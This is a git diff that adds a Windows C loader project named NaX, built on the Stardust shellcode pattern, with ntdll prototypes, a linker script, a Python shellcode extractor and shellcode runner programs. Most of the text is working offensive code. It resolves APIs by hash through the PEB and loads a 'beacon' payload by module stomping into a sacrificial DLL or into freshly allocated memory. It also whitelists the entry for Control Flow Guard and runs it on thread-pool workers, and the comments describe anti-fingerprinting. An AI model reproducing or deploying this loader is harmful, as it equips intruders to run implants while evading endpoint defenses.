+RtlUpdateClonedCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS +NTAPI +RtlGetFullPathName_UstrEx( + PUNICODE_STRING FileName, + PUNICODE_STRING StaticString, + PUNICODE_STRING DynamicString, + PPUNICODE_STRING StringUsed, + PULONG FilePartPrefixCch, + PUCHAR NameInvalid, + PRTL_PATH_TYPE InputPathType, + PULONG BytesRequired); + +int +NTAPI +LdrInitShimEngineDynamic( + PVOID pShimEngineModule); + +NTSTATUS +NTAPI +NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + _In_ OPTIONAL PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_ OPTIONAL PULONG Disposition + ); + +NTSTATUS +NTAPI +NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ OPTIONAL ULONG TitleIndex, + _In_ ULONG Type, + _In_ OPTIONAL PVOID Data, + _In_ ULONG DataSize + ); + +NTSTATUS +NTAPI +NtDeleteFile ( + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS +RtlGetVersion( + _Out_ PRTL_OSVERSIONINFOW lpVersionInformation + ); + +NTSTATUS +NTAPI +ZwWow64QueryInformationProcess64( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64QueryVirtualMemory64( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_ PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_ OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +ZwWow64ReadVirtualMemory64( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL PVOID BaseAddress, + _Out_ PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +ZwWow64WriteVirtualMemory64( + _In_ HANDLE ProcessHandle, + _In_ OPTIONAL PVOID BaseAddress, + _In_ CONST VOID *Buffer, + _In_ SIZE_T BufferSize, + _Out_ OPTIONAL PSIZE_T NumberOfBytesWritten + ); + +void +NTAPI +ZwWow64GetCurrentProcessorNumberEx( + _Out_ PPROCESSOR_NUMBER ProcNumber +); + +PCSR_CAPTURE_HEADER +NTAPI +ZwWow64CsrAllocateCaptureBuffer( + _In_ ULONG CountMessagePointers, + _In_ ULONG CountCapturePointers, + _In_ ULONG Size + ); + +ULONG +NTAPI +ZwWow64CsrAllocateMessagePointer( + _In_ _Out_ PCSR_CAPTURE_HEADER CaptureBuffer, + _In_ ULONG Length, + _Out_ PVOID *Pointer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageBuffer( + _In_ _Out_ PCSR_CAPTURE_HEADER CaptureBuffer, + _In_ PVOID Buffer OPTIONAL, + _In_ ULONG Length, + _Out_ PVOID *CapturedBuffer + ); + +void +NTAPI +ZwWow64CsrCaptureMessageString( + _In_ _Out_ PCSR_CAPTURE_HEADER CaptureBuffer, + _In_ PCSTR String, + _In_ ULONG Length, + _In_ ULONG MaximumLength, + _Out_ PSTRING CapturedString + ); + +NTSTATUS +NTAPI +ZwWow64CsrClientConnectToServer( + _In_ PWSTR ObjectDirectory, + _In_ ULONG ServerDllIndex, + _In_ PCSR_CALLBACK_INFO CallbackInformation OPTIONAL, + _In_ PVOID ConnectionInformation, + _In_ _Out_ PULONG ConnectionInformationLength OPTIONAL, + _Out_ PBOOLEAN CalledFromServer OPTIONAL + ); + +void +NTAPI +ZwWow64CsrFreeCaptureBuffer( + _In_ PCSR_CAPTURE_HEADER CaptureBuffer + ); + +NTSTATUS +NTAPI +ZwWow64CsrIdentifyAlertableThread( + void + ); + +NTSTATUS +NTAPI +ZwWow64DebuggerCall ( + _In_ ULONG ServiceClass, + _In_ ULONG Arg1, + _In_ ULONG Arg2 + ); + +NTSTATUS +NTAPI +RtlCleanUpTEBLangLists( + void + ); + +VOID +KiUserApcDispatcher ( + PVOID NormalContext, + PVOID SystemArgument1, + PVOID SystemArgument2, + PKNORMAL_ROUTINE NormalRoutine + ); + +VOID +KiUserExceptionDispatcher ( + PEXCEPTION_RECORD ExceptionRecord, + PCONTEXT ContextFrame + ); + +NTSTATUS +NTAPI +NtCreateDebugObject( + _Out_ PHANDLE DebugObjectHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Flags + ); + +NTSTATUS +NTAPI +NtDebugActiveProcess( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtDebugContinue( + _In_ HANDLE DebugObjectHandle, + _In_ PCLIENT_ID ClientId, + _In_ NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +NtRemoveProcessDebug( + _In_ HANDLE ProcessHandle, + _In_ HANDLE DebugObjectHandle + ); + +NTSTATUS +NTAPI +NtSetInformationDebugObject( + _In_ HANDLE DebugObjectHandle, + _In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + _In_ PVOID DebugInformation, + _In_ ULONG DebugInformationLength, + _Out_ OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +NtWaitForDebugEvent( + _In_ HANDLE DebugObjectHandle, + _In_ BOOLEAN Alertable, + _In_ OPTIONAL PLARGE_INTEGER Timeout, + _Out_ PVOID WaitStateChange + ); + +// Debugging UI + +NTSTATUS +NTAPI +DbgUiConnectToDbg( + VOID + ); + +HANDLE +NTAPI +DbgUiGetThreadDebugObject( + VOID + ); + +VOID +NTAPI +DbgUiSetThreadDebugObject( + _In_ HANDLE DebugObject + ); + +NTSTATUS +NTAPI +DbgUiWaitStateChange( + _Out_ PDBGUI_WAIT_STATE_CHANGE StateChange, + _In_ OPTIONAL PLARGE_INTEGER Timeout + ); + +NTSTATUS +NTAPI +DbgUiContinue( + _In_ PCLIENT_ID AppClientId, + _In_ NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +DbgUiStopDebugging( + _In_ HANDLE Process + ); + +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + _In_ HANDLE Process + ); + +VOID +NTAPI +DbgUiRemoteBreakin( + _In_ PVOID Context + ); + +NTSTATUS +NTAPI +DbgUiIssueRemoteBreakin( + _In_ HANDLE Process + ); + +VOID +NTAPI +RtlExitUserProcess( + _In_ NTSTATUS ExitStatus + ); + +NTSTATUS +NTAPI +RtlQueueWorkItem( + _In_ WORKERCALLBACKFUNC CallbackFunction, + _In_ OPTIONAL PVOID Context, + _In_ ULONG Flags + ); + + +NTSTATUS +NTAPI +RtlCreateUserStack( + SIZE_T CommittedStackSize, + SIZE_T MaximumStackSize, + SIZE_T ZeroBits, + ULONG PageSize, + ULONG ReserveAlignment, + PINITIAL_TEB InitialTeb + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_W( + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_A( + ); + + +NTSTATUS +NTAPI +LdrQueryProcessModuleInformation( + PRTL_PROCESS_MODULES ModuleInformation, + ULONG ModuleInformationLength, + PULONG ReturnLength + ); + + +// +// end non-crt prototypes +// + + +// +// nt crt +// +//please do not change swprintf stuff otherwise win32 mode is always trashed +#if !defined(_NO_NTDLL_CRT_) + +//readded 4 jan 2012 +//win64 mode does not need this +//for using this routines ntdllp.lib is required +#if !defined(_M_X64) +IMPORT_FN size_t __cdecl wcslen(const wchar_t *); +IMPORT_FN wchar_t * __cdecl wcscat(wchar_t *dst, const wchar_t *src); +IMPORT_FN int __cdecl wcscmp(const wchar_t *src, const wchar_t *dst); +IMPORT_FN int __cdecl _wcsicmp(const wchar_t *, const wchar_t *); +IMPORT_FN int __cdecl _wcsnicmp(const wchar_t *, const wchar_t *, size_t); +IMPORT_FN wchar_t * __cdecl _wcslwr(wchar_t *); +IMPORT_FN wchar_t * __cdecl _wcsupr(wchar_t *); +IMPORT_FN wchar_t * __cdecl wcschr(const wchar_t *string, wchar_t ch); +IMPORT_FN wchar_t * __cdecl wcscpy(wchar_t *dst, const wchar_t *src); +IMPORT_FN wchar_t * __cdecl wcsncat(wchar_t *front, const wchar_t *back, size_t count); +IMPORT_FN wchar_t * __cdecl wcsncpy(wchar_t *dest, const wchar_t *source, size_t count); +#endif //_M_X64 + +#endif // _NO_NTDLL_CRT_ + +// +// Thread pool (ntdll undocumented exports) +// +NTSTATUS +NTAPI +TpAllocWork( + _Out_ PTP_WORK *WorkReturn, + _In_ PTP_WORK_CALLBACK Callback, + _In_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +VOID +NTAPI +TpPostWork( + _In_ PTP_WORK Work + ); + +VOID +NTAPI +TpReleaseWork( + _In_ PTP_WORK Work + ); + +#ifdef __cplusplus +} +#endif + +#endif /* _NTDLL_ */ diff --git a/src_loader/include/Utils.h b/src_loader/include/Utils.h new file mode 100644 index 0000000..344e385 --- /dev/null +++ b/src_loader/include/Utils.h @@ -0,0 +1,9 @@ +#ifndef STARDUST_UTILS_H +#define STARDUST_UTILS_H + +ULONG HashString( + _In_ PVOID String, + _In_ SIZE_T Length +); + +#endif //STARDUST_UTILS_H diff --git a/src_loader/scripts/Linker.ld b/src_loader/scripts/Linker.ld new file mode 100644 index 0000000..374f075 --- /dev/null +++ b/src_loader/scripts/Linker.ld @@ -0,0 +1,40 @@ +/* NaX src_loader/scripts/Linker.ld + * Stardust linker script adapted for the NAX UDRL. + * + * Section ordering (CRITICAL): + * .text$A - ASM entry stubs (Start, StRipStart) + * .text$B - C loader body (PreMain, Main, Ldr, Utils) + * .rdata* - read-only string literals / GCC ident strings + * .data* - GCC-emitted WCHAR initialiser copies for local arrays; + * -Os lifts compound initializers to .data → must be here + * or RIP-relative refs land in zero memory at runtime. + * .text$E - StRipEnd stub (MUST be last - its return value + * equals the loader end address = beacon start in the blob) + * + * No .global section - INSTANCE pointer is stored via TLS egghunter + * (consecutive slots with NtCurrentPeb() egg). No ALIGN(0x1000) needed. + * + * No .text$P ("STARDUST-END" marker) - build.py is not used. + * objcopy --dump-section .text extracts the complete blob; StRipEnd's + * `add rax, 0x0a` is calibrated for this exact 15-byte .text$E section. */ + +LINK_BASE = 0x0000; + +ENTRY( Start ) + +SECTIONS +{ + . = LINK_BASE; + .text : { + . = LINK_BASE; + *( .text$A ); + *( .text$B ); + *( .rdata* ); + *( .data* ); + *( .text$E ); + } + + .eh_frame : { + *( .eh_frame ) + } +} diff --git a/src_loader/scripts/build.py b/src_loader/scripts/build.py new file mode 100644 index 0000000..3ca66fc --- /dev/null +++ b/src_loader/scripts/build.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +import pefile +import argparse + +STARDUST_END : bytes = b'STARDUST-END' +PAGE_SIZE : int = 0x1000 + +## +## calculates the given size to pages +## +def size_to_pages( size: int ) -> int: + PAGE_MASK : int = 0xfff + BASE_PAGE_SHIFT : int = 12 + + return ( size >> BASE_PAGE_SHIFT ) + ( ( size & PAGE_MASK ) != 0 ) + +## +## parse specified executable file and +## save .text section shellcode into a file +## +def main() -> None: + parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' ) + parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str ) + parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str ) + option = parser.parse_args() + + executable = pefile.PE( option.f ) + shellcode = bytearray( executable.sections[ 0 ].get_data() ) + shellcode = shellcode[ : shellcode.find( STARDUST_END ) ] + size = len( shellcode ) + + ## + ## calculate pages + ## + pages = size_to_pages( size ) + padding = ( ( pages * PAGE_SIZE ) - size ) + + ## + ## fill the padding to have a full page + ## + for i in range( padding ): + shellcode.append( 0 ) + + ## + ## get size of shellcode + ## + size = len( shellcode ) + + ## + ## print metadata + ## + print( f"[*] payload len : { size - padding } bytes" ) + print( f"[*] size : { size } bytes" ) + print( f"[*] padding : { padding } bytes" ) + print( f"[*] page count : { size / PAGE_SIZE } pages" ) + + ## + ## open shellcode file + ## + file = open( option.o, 'wb+' ) + + ## + ## write shellcode to file + ## + file.write( shellcode ) + file.close() + + return + +if __name__ in '__main__': + main() \ No newline at end of file diff --git a/src_loader/scripts/loader.c b/src_loader/scripts/loader.c new file mode 100644 index 0000000..e9f24d4 --- /dev/null +++ b/src_loader/scripts/loader.c @@ -0,0 +1,61 @@ +#include +#include + +LPVOID LoadFileIntoMemory( LPSTR Path, PDWORD MemorySize ) { + PVOID ImageBuffer = NULL; + DWORD dwBytesRead = 0; + HANDLE hFile = NULL; + + hFile = CreateFileA( Path, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0 ); + if (hFile == INVALID_HANDLE_VALUE) + { + printf( "Error opening %s\r\n", Path ); + return NULL; + } + + if ( MemorySize ) + *MemorySize = GetFileSize( hFile, 0 ); + ImageBuffer = ( PBYTE ) LocalAlloc( LPTR, *MemorySize ); + + ReadFile( hFile, ImageBuffer, *MemorySize, &dwBytesRead, 0 ); + CloseHandle( hFile ); + + return ImageBuffer; +} + +typedef void ( * ShellcodeMain )(); + +int main( int argc, char** argv ) +{ + PVOID ShellcodeBytes = NULL; + DWORD ShellcodeSize = 0; + DWORD OldProtection = 0; + + LPVOID ShellcodeMemory = NULL; + + if ( argc < 2 ) + { + printf( "[-] %s \n", argv[ 0 ] ); + return 0; + } + + ShellcodeBytes = LoadFileIntoMemory( argv[ 1 ], &ShellcodeSize ); + ShellcodeMemory = VirtualAlloc( NULL, ShellcodeSize, MEM_COMMIT, PAGE_READWRITE ); + + if ( ! ShellcodeMemory ) + { + printf("[-] Failed to allocate Virtual Memory\n"); + return 0; + } + + printf( "[*] Address => %p\n", ShellcodeMemory ); + + memcpy( ShellcodeMemory, ShellcodeBytes, ShellcodeSize ); + + VirtualProtect( ShellcodeMemory, ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection ); + + puts("[+] Execute shellcode... press enter"); + getchar(); + + ((ShellcodeMain)ShellcodeMemory)(); +} \ No newline at end of file diff --git a/src_loader/scripts/loader.x64.exe b/src_loader/scripts/loader.x64.exe new file mode 100755 index 0000000..17b9d85 Binary files /dev/null and b/src_loader/scripts/loader.x64.exe differ diff --git a/src_loader/scripts/stomper.c b/src_loader/scripts/stomper.c new file mode 100644 index 0000000..e3c07a7 --- /dev/null +++ b/src_loader/scripts/stomper.c @@ -0,0 +1,65 @@ +#include +#include + +/* ========= [ NaX dev launcher ] ========= + * + * Loads nax.bin into RWX memory and transfers execution to the loader. + * The loader itself parses NaxHeader v2 and decides whether to module-stomp + * or VirtualAlloc based on the embedded flags - stomper does NOT need to + * know which mode is active. + * + * Usage: stomper.exe path\to\nax.x64.bin + */ + +int main( int argc, char** argv ) { + HANDLE hFile = INVALID_HANDLE_VALUE; + PVOID buf = NULL; + DWORD sz = 0; + DWORD rd = 0; + DWORD old = 0; + HANDLE hThread = NULL; + + if ( argc < 2 ) { + puts( "usage: stomper.exe " ); + return 1; + } + + hFile = CreateFileA( argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL ); + if ( hFile == INVALID_HANDLE_VALUE ) { + printf( "[!] CreateFileA failed: %lu\n", GetLastError() ); + return 1; + } + + sz = GetFileSize( hFile, NULL ); + printf( "[*] loaded \"%s\" (%lu bytes)\n", argv[1], sz ); + + buf = VirtualAlloc( NULL, sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); + if ( !buf ) { + printf( "[!] VirtualAlloc failed: %lu\n", GetLastError() ); + CloseHandle( hFile ); + return 1; + } + + ReadFile( hFile, buf, sz, &rd, NULL ); + CloseHandle( hFile ); + + if ( !VirtualProtect( buf, sz, PAGE_EXECUTE_READ, &old ) ) { + printf( "[!] VirtualProtect failed: %lu\n", GetLastError() ); + return 1; + } + + printf( "[*] shellcode @ %p RX\n", buf ); + printf( "[*] press enter to execute...\n" ); + getchar(); + + hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL ); + if ( !hThread ) { + printf( "[!] CreateThread failed: %lu\n", GetLastError() ); + return 1; + } + + WaitForSingleObject( (HANDLE)-1, INFINITE ); + CloseHandle( hThread ); + + return 0; +} diff --git a/src_loader/scripts/stomper.exe b/src_loader/scripts/stomper.exe new file mode 100755 index 0000000..a5b7b8f Binary files /dev/null and b/src_loader/scripts/stomper.exe differ diff --git a/src_loader/src/Exec.c b/src_loader/src/Exec.c new file mode 100644 index 0000000..2ade6fa --- /dev/null +++ b/src_loader/src/Exec.c @@ -0,0 +1,44 @@ +#include + +/* ========= [ Execution Transfer ] ========= + * + * How the beacon gets its own thread after stomping/allocation. + * + * NAX_EXEC_THREADPOOL: + * TpAllocWork + TpPostWork: beacon entry runs on a worker thread. + * + * NAX_EXEC_THREAD: + * CreateThread: clean stack, start address = beacon entry. */ + +#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL + +FUNC VOID NaxExecThreadPool( PVOID Entry ) { + STARDUST_INSTANCE + + PTP_WORK Work = NULL; + if ( !NT_SUCCESS( API( TpAllocWork )( &Work, (PTP_WORK_CALLBACK)Entry, NULL, NULL ) ) ) + goto fallback; + if ( !Work ) + goto fallback; + + API( TpPostWork )( Work ); + API( TpReleaseWork )( Work ); + return; + +fallback: + ( (VOID (*)( VOID ))Entry )(); +} + +#elif NAX_EXEC_MODE == NAX_EXEC_THREAD + +FUNC VOID NaxExecThread( PVOID Entry ) { + STARDUST_INSTANCE + + HANDLE hThread = API( CreateThread )( NULL, 0, (LPTHREAD_START_ROUTINE)Entry, NULL, 0, NULL ); + if ( hThread ) + return; + + ( (VOID (*)( VOID ))Entry )(); +} + +#endif diff --git a/src_loader/src/Ldr.c b/src_loader/src/Ldr.c new file mode 100644 index 0000000..b37dd05 --- /dev/null +++ b/src_loader/src/Ldr.c @@ -0,0 +1,178 @@ +#include + +/*! + * @brief + * resolve module from peb + * + * @param Buffer + * Buffer: either string or hash + * + * @param Hashed + * is the Buffer a hash value + * + * @return + * module base pointer + */ +FUNC PVOID LdrModulePeb( + _In_ ULONG Hash +) { + PLDR_DATA_TABLE_ENTRY Data = { 0 }; + PLIST_ENTRY Head = { 0 }; + PLIST_ENTRY Entry = { 0 }; + + Head = & NtCurrentPeb()->Ldr->InLoadOrderModuleList; + Entry = Head->Flink; + + for ( ; Head != Entry ; Entry = Entry->Flink ) { + Data = C_PTR( Entry ); + + if ( HashString( Data->BaseDllName.Buffer, Data->BaseDllName.Length ) == Hash ) { + return Data->DllBase; + } + } + + return NULL; +} + +/*! + * @brief + * retrieve image header + * + * @param Image + * image base pointer to retrieve header from + * + * @return + * pointer to Nt Header + */ +FUNC PIMAGE_NT_HEADERS LdrpImageHeader( + _In_ PVOID Image +) { + PIMAGE_DOS_HEADER DosHeader = { 0 }; + PIMAGE_NT_HEADERS NtHeader = { 0 }; + + DosHeader = C_PTR( Image ); + + if ( DosHeader->e_magic != IMAGE_DOS_SIGNATURE ) { + return NULL; + } + + NtHeader = C_PTR( U_PTR( Image ) + DosHeader->e_lfanew ); + + if ( NtHeader->Signature != IMAGE_NT_SIGNATURE ) { + return NULL; + } + + return NtHeader; +} + +/* ========= [ forwarded export resolution ] ========= + * + * Forwarding strings have the form "ModuleName.FunctionName" + * (e.g. "KERNELBASE.VirtualAlloc"). We append ".dll", hash the result + * for PEB lookup, then recurse into LdrFunction on the target module. + * + * Ordinal forwarding ("ModuleName.#N") returns NULL - not implemented. */ +FUNC PVOID LdrpFwdResolve( _In_ PCHAR FwdStr ) { + WCHAR DllNameW[ 64 ] = { 0 }; + PCHAR DotPtr = { 0 }; + PCHAR FuncName = { 0 }; + PVOID FwdMod = { 0 }; + INT PfxLen = { 0 }; + INT i = { 0 }; + + /* find the '.' separating module prefix from function name */ + DotPtr = FwdStr; + while ( *DotPtr && *DotPtr != '.' ) DotPtr++; + if ( ! *DotPtr ) return NULL; + + FuncName = DotPtr + 1; + PfxLen = (INT)( DotPtr - FwdStr ); + if ( PfxLen <= 0 || PfxLen > 59 ) return NULL; + + /* ordinal forwarding ("Module.#N") - not implemented */ + if ( *FuncName == '#' ) return NULL; + + for ( i = 0; i < PfxLen; i++ ) DllNameW[ i ] = (WCHAR)FwdStr[ i ]; + + /* ".dll" as packed UTF-16LE - avoids 4x mov-word-immediate pattern */ + *(UINT64 *)( &DllNameW[ PfxLen ] ) = 0x006C006C0064002Eull; + DllNameW[ PfxLen + 4 ] = L'\0'; + + /* locate target module in PEB then recurse */ + if ( ! ( FwdMod = LdrModulePeb( HashString( DllNameW, ( PfxLen + 4 ) * 2 ) ) ) ) return NULL; + + return LdrFunction( FwdMod, HashString( FuncName, 0 ) ); +} + +FUNC PVOID LdrFunction( + _In_ PVOID Library, + _In_ ULONG Function +) { + PVOID Address = { 0 }; + PIMAGE_NT_HEADERS NtHeader = { 0 }; + PIMAGE_EXPORT_DIRECTORY ExpDir = { 0 }; + SIZE_T ExpDirSize = { 0 }; + PDWORD AddrNames = { 0 }; + PDWORD AddrFuncs = { 0 }; + PWORD AddrOrdns = { 0 }; + PCHAR FuncName = { 0 }; + + // + // sanity check arguments + // + if ( ! Library || ! Function ) { + return NULL; + } + + // + // retrieve header of library + // + if ( ! ( NtHeader = LdrpImageHeader( Library ) ) ) { + return NULL; + } + + // + // parse the header export address table + // + ExpDir = C_PTR( Library + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); + ExpDirSize = NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size; + AddrNames = C_PTR( Library + ExpDir->AddressOfNames ); + AddrFuncs = C_PTR( Library + ExpDir->AddressOfFunctions ); + AddrOrdns = C_PTR( Library + ExpDir->AddressOfNameOrdinals ); + + // + // iterate over export address table director + // + for ( DWORD i = 0; i < ExpDir->NumberOfNames; i++ ) { + // + // retrieve function name + // + FuncName = C_PTR( U_PTR( Library ) + AddrNames[ i ] ); + + // + // hash function name from Iat and + // check the function name is what we are searching for. + // if not found keep searching. + // + if ( HashString( FuncName, 0 ) != Function ) { + continue; + } + + // + // resolve function pointer + // + Address = C_PTR( U_PTR( Library ) + AddrFuncs[ AddrOrdns[ i ] ] ); + + /* check if this is a forwarded export (Address falls inside ExpDir) */ + if ( ( U_PTR( Address ) >= U_PTR( ExpDir ) ) && + ( U_PTR( Address ) < U_PTR( ExpDir ) + ExpDirSize ) + ) { + /* forwarding string points to the target module - resolve it */ + Address = LdrpFwdResolve( ( PCHAR ) Address ); + } + + break; + } + + return Address; +} \ No newline at end of file diff --git a/src_loader/src/Main.c b/src_loader/src/Main.c new file mode 100644 index 0000000..28d61eb --- /dev/null +++ b/src_loader/src/Main.c @@ -0,0 +1,170 @@ +#include +#include +#include + +/* ========= [ NAX UDRL - entry + dispatch ] ========= + * + * PreMain (Stardust pattern) has already: + * 1. Calculated Base.Buffer = StRipStart() (loader base address) + * 2. Calculated Base.Length = StRipEnd() - StRipStart() (loader size) + * 3. Resolved ntdll!RtlAllocateHeap + kernel32 TLS APIs + * 4. Stored INSTANCE in TLS (consecutive-slot egghunter) + * 5. Zeroed out the StRipEnd code (anti-fingerprint) + * 6. Transferred control here via Main() + * + * Technique selection is compile-time via preprocessor defines: + * + * NAX_STOMP_MODE: + * NAX_STOMP_VIRTUAL (0) - NtAllocateVirtualMemory (private memory) + * NAX_STOMP_MODULE (1) - Module stomp (image-backed, sacrificial DLL) + * + * NAX_EXEC_MODE: + * NAX_EXEC_THREAD (0) - CreateThread (start addr = beacon) + * NAX_EXEC_THREADPOOL (1) - TpAllocWork/TpPostWork (start addr = TppWorkerThread) + * + * Implementation split across files: + * Pe.c - PE header parsing helpers + * Stomp.c - Module stomping + LDR patching + unwind stomping + * Exec.c - Thread pool / CreateThread execution transfer + * Main.c - This file: resolve APIs, parse header, dispatch */ + +/* ========= [ VirtualAlloc fallback path ] ========= */ + +#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL + +FUNC PVOID NaxAllocExec( + _In_ PVOID BeaconSrc, + _In_ ULONG BeaconSize ) { + STARDUST_INSTANCE + + PVOID exec_buf = NULL; + SIZE_T copy_size = ALIGN_UP( BeaconSize, LDR_PAGE_SIZE ); + ULONG old_prot = 0; + + if ( !NT_SUCCESS( API( NtAllocateVirtualMemory )( NtCurrentProcess(), &exec_buf, 0, ©_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) ) ) + return NULL; + if ( !exec_buf ) + return NULL; + + MmCopy( exec_buf, BeaconSrc, BeaconSize ); + + if ( !API( VirtualProtect )( exec_buf, copy_size, PAGE_EXECUTE_READ, &old_prot ) ) + return NULL; + + return exec_buf; +} + +#endif /* NAX_STOMP_VIRTUAL */ + +/* ========= [ entry - resolve APIs, parse header, dispatch ] ========= */ + +FUNC VOID Main( + _In_ PVOID Param ) { + STARDUST_INSTANCE + + PVOID hdr = { 0 }; + PVOID beacon_src = { 0 }; + PVOID entry = { 0 }; + + /* ========= [ resolve modules ] ========= */ + if ( !( MOD( Kernel32 ) = LdrModulePeb( H_MODULE_KERNEL32 ) ) ) + return; + if ( !( MOD( Ntdll ) = LdrModulePeb( H_MODULE_NTDLL ) ) ) + return; + + /* ========= [ resolve APIs ] ========= */ + + if ( !RESOLVE( NtProtectVirtualMemory, Ntdll ) ) return; + if ( !RESOLVE( VirtualProtect, Kernel32 ) ) return; + +#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL + if ( !RESOLVE( NtAllocateVirtualMemory, Ntdll ) ) return; +#elif NAX_STOMP_MODE == NAX_STOMP_MODULE + if ( !RESOLVE( LoadLibraryExW, Kernel32 ) ) return; + + RESOLVE( GetProcessMitigationPolicy, Kernel32 ); + MOD( Kernelbase ) = LdrModulePeb( HASH_STR( "KERNELBASE.DLL" ) ); + if ( MOD( Kernelbase ) ) + API( SetProcessValidCallTargets ) = (__typeof__( API( SetProcessValidCallTargets ) ))LdrFunction( MOD( Kernelbase ), HASH_STR( "SetProcessValidCallTargets" ) ); +#endif + +#if NAX_EXEC_MODE == NAX_EXEC_THREAD + if ( !RESOLVE( CreateThread, Kernel32 ) ) return; +#elif NAX_EXEC_MODE == NAX_EXEC_THREADPOOL + if ( !RESOLVE( TpAllocWork, Ntdll ) ) return; + if ( !RESOLVE( TpPostWork, Ntdll ) ) return; + if ( !RESOLVE( TpReleaseWork, Ntdll ) ) return; +#endif + + /* ========= [ parse NaxHeader ] ========= */ + hdr = LOADER_END(); + + ULONG magic = HDR_U32( hdr, NAX_HDR_OFF_MAGIC ); + ULONG beacon_size = HDR_U32( hdr, NAX_HDR_OFF_BEACON_SZ ); + + /* v1 fallback: if magic doesn't match v2, treat as legacy 4-byte header */ + if ( magic != NAX_HDR_MAGIC ) { + beacon_size = magic; + beacon_src = C_PTR( U_PTR( hdr ) + 4 ); + + if ( !beacon_size || beacon_size > 256 * 1024 ) + return; + +#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL + entry = NaxAllocExec( beacon_src, beacon_size ); +#else + entry = beacon_src; +#endif + if ( !entry ) + return; + + ( (VOID (*)( VOID ))entry )(); + return; + } + + /* ========= [ validate header ] ========= */ + if ( !beacon_size || beacon_size > 512 * 1024 ) + return; + + /* ========= [ locate beacon blobs + stomp ] ========= */ + beacon_src = C_PTR( U_PTR( hdr ) + NAX_HDR_SIZE ); + +#if NAX_STOMP_MODE == NAX_STOMP_MODULE + ULONG pdata_size = HDR_U32( hdr, NAX_HDR_OFF_PDATA_SZ ); + ULONG xdata_size = HDR_U32( hdr, NAX_HDR_OFF_XDATA_SZ ); + ULONG text_rva = HDR_U32( hdr, NAX_HDR_OFF_TEXT_RVA ); + PWCHAR dll_name = HDR_WSTR( hdr, NAX_HDR_OFF_DLL_NAME ); + PVOID pdata_src = C_PTR( U_PTR( beacon_src ) + beacon_size ); + PVOID xdata_src = C_PTR( U_PTR( pdata_src ) + pdata_size ); + + entry = NaxModuleStomp( hdr, beacon_src, beacon_size, pdata_src, pdata_size, xdata_src, xdata_size, text_rva, dll_name ); +#elif NAX_STOMP_MODE == NAX_STOMP_VIRTUAL + entry = NaxAllocExec( beacon_src, beacon_size ); +#endif + + if ( !entry ) + return; + + /* ========= [ CFG: whitelist beacon entry in stomped DLL ] ========= */ +#if NAX_STOMP_MODE == NAX_STOMP_MODULE + if ( API( GetProcessMitigationPolicy ) && API( SetProcessValidCallTargets ) && Instance()->StompDllBase ) { + BYTE policy[4]; + MmZero( policy, 4 ); + if ( API( GetProcessMitigationPolicy )( (HANDLE)-1, LDR_PROCESS_CFG_GUARD_POLICY, policy, 4 ) && ( policy[0] & 1 ) ) { + PIMAGE_NT_HEADERS cfgNt = NaxPeHeaders( Instance()->StompDllBase ); + if ( cfgNt ) { + SIZE_T cfgLen = ALIGN_UP( cfgNt->OptionalHeader.SizeOfImage, LDR_PAGE_SIZE ); + struct { ULONG_PTR Offset; ULONG_PTR Flags; } cfg = { U_PTR( entry ) - U_PTR( Instance()->StompDllBase ), LDR_CFG_CALL_TARGET_VALID }; + API( SetProcessValidCallTargets )( (HANDLE)-1, Instance()->StompDllBase, cfgLen, 1, &cfg ); + } + } + } +#endif + + /* ========= [ transfer execution to beacon ] ========= */ +#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL + NaxExecThreadPool( entry ); +#elif NAX_EXEC_MODE == NAX_EXEC_THREAD + NaxExecThread( entry ); +#endif +} 